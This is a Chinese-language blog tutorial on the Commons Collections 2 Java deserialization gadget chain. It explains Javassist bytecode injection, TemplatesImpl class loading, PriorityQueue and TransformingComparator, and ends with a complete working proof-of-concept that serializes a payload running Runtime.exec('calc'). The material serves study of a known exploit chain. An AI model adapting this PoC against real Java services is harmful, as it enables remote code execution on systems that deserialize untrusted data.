当前位置:网站首页>Commons Collections2
Commons Collections2
2022-08-04 05:27:00 【Ki10Moc】
前言
这里需要掌握一点Javassist和类加载的基础
下面直接开始
利用链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
学习过cc1的都知道,在8u71版本后该链子无法利用,因为对AnnotationInvocationHandler的序列化操作readObject进行了改写
cc2也可以理解为cc1的延续,通过javassist和PriorityQueue来进行构造
这边还是从一个简单的demo入手并熟悉一下用到的方法
Javassist操作字节码
首先要知道Java实际运行的代码是.class的二进制文件,class就是java文件编译来的,在已经编译好的类中可以修改原有属性或者自己重写方法
来看下面一段代码,maerClassInitializer在类中生成静态方法,并插入一段我们自己编写的恶意代码
public class cc2test {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException {
ClassPool pool = ClassPool.getDefault();//获取类搜索路径
CtClass clazz = pool.get(cc2test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertBefore(cmd);//在static前面插入
clazz.makeClassInitializer().insertAfter(cmd);//在static后面插入
String Name = "ki10MOc";
clazz.setName(Name);
clazz.writeFile("./evil.class");
}
}
这里会在当前目录下evil.class生成一个名为ki10Moc的class文件
class U extends ClassLoader{
U(ClassLoader c){
//构造方法的ClassLoader类型参数
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);//加载字节码
}
}
并且将生成恶意class文件的代码修改为
final byte[] classBytes = clazz.toBytecode();//获取字节码
new U(cc2test.class.getClassLoader()).g(classBytes).newInstance();//加载字节码并创建对象
就成功弹出了计算器

Templateslmpl
学习过的都知道这条链子可以执行字节码
其是在TransletClassLoader中的defineClass
这里就是加载的参数,其中第二个就是我们可以构造的恶意字节码

但通过观察defineClass发现是一个保护类,那我们调用就需要找到一个公共类
在Templateslmpl下存在一处为生命的,也就是default类型的
调用的位置是当前文件下的defineTransletClasses
也是一个保护类
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
接着查找,发现在getTransletInstance存在一处实例化
最终在newTransformer找到公共类的方法
梳理一下链子

当然,这里我是正向寻找的
如果不好理解可以看下Y4师傅的解析
个人觉得非常简洁清晰
当然在寻找过程中我们会发现getTransletInstance中实例化的对象是_class而非我们上面提到的_byte,是因为在defineTransletClasses中将_byte二维数组存放在_class字段中了
当然这里知识为了理解梳理了一下流程,最好还是自己跟一下源码
PriorityQueue
在ysoserial作者的调用栈中使用的是反序列化对象,或者说是入口是PriorityQueue
简单了解下
PriorityQueue优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出”优先级“,取出数据的时候会按照优先级来取。
默认优先级队列会根据自然顺序来对元素排序。
构造方法:
PriorityQueue()
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
常见方法:
add(E e) 将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。
来看下反序列化
调用了heapify
是无符型右移位算,效果相当于除以2。这里会把i和queue[i]传入
接着又调用了siftDown

comparator存在时,就会进入 siftDownUsingComparator

嘶,老实说跟进到这里我就卡了
后面的利用并没有找到
然后再回去看了下作者给的构造链发现TransformingComparator.compare()
回到了cc1经典的transform
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
/** Serialization version from Collections 4.0. */
private static final long serialVersionUID = 3456940356043606220L;
/** The decorated comparator. */
private final Comparator<O> decorated;
/** The transformer being used. */
private final Transformer<? super I, ? extends O> transformer;
//-----------------------------------------------------------------------
/** * Constructs an instance with the given Transformer and a * {@link ComparableComparator ComparableComparator}. * * @param transformer what will transform the arguments to <code>compare</code> */
@SuppressWarnings("unchecked")
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
/** * Constructs an instance with the given Transformer and Comparator. * * @param transformer what will transform the arguments to <code>compare</code> * @param decorated the decorated Comparator */
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
TransformingComparator这里将Transformer的执行点和PriorityQueue出发点结合起来
值在传递到Comparator之前经过Transformer修饰
上面的siftDownUsingComparator方法会调用到comparator的compare
那一切就都串起来了
poc
package com.test;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{
}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{
bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{
},new Object[]{
});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{
templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
poc这里就不做分析了
主要是自己学了好一会才弄懂
并不能保证所有代码完全吃透
所以就不在各位师傅面前班门弄斧
流程图
最后的最后
自己也画一下找了好半天的链子的过程
可以更清晰的看到链子的过程

整体来说,感觉cc2不是很难(感觉比cc1简单
可能是之前学过的基础在这里体现作用了
但还是有很多不足
加油吧
入门还有一大段距离呢
边栏推荐
猜你喜欢

实际开发中左菜单自定义图标点击切换

Swoole学习(一)

Unity自动生成阻挡Collider的GameObject工具

8.03 Day34---BaseMapper query statement usage

7.13 Day20----MYSQL

FLV格式详解

Cannot read properties of null (reading ‘insertBefore‘)

Code Refactoring: For Unit Testing

利用Jenkins实现Unity自动化构建

npm安装依赖报错npm ERR! code ENOTFOUNDnpm ERR! syscall getaddrinfonpm ERR! errno ENOTFOUND
随机推荐
phpexcel导出数据为xml
实现登录密码混合动态因子,且动态因子隐式
The string class introduction
Can 't connect to MySQL server on' localhost3306 '(10061) simple solutions
JS深复制对象方法(深拷贝)
Handling List
程序员也应了解的Unity粒子系统
MySql数据恢复方法个人总结
编程Go:return、break、continue
MySql data recovery method personal summary
The cost of automated testing is high and the effect is poor, so what is the significance of automated testing?
自己学习爬虫写的基础小函数
Several ways to heavy
PHP实现异步执行程序
箭头函数的使用
webrtc中的引用计框架
关于C#的反射,你真的运用自如嘛?
TensorRT例程解读之语义分割demo
4.1 JdbcTemplate for declarative transactions
Swoole学习(二)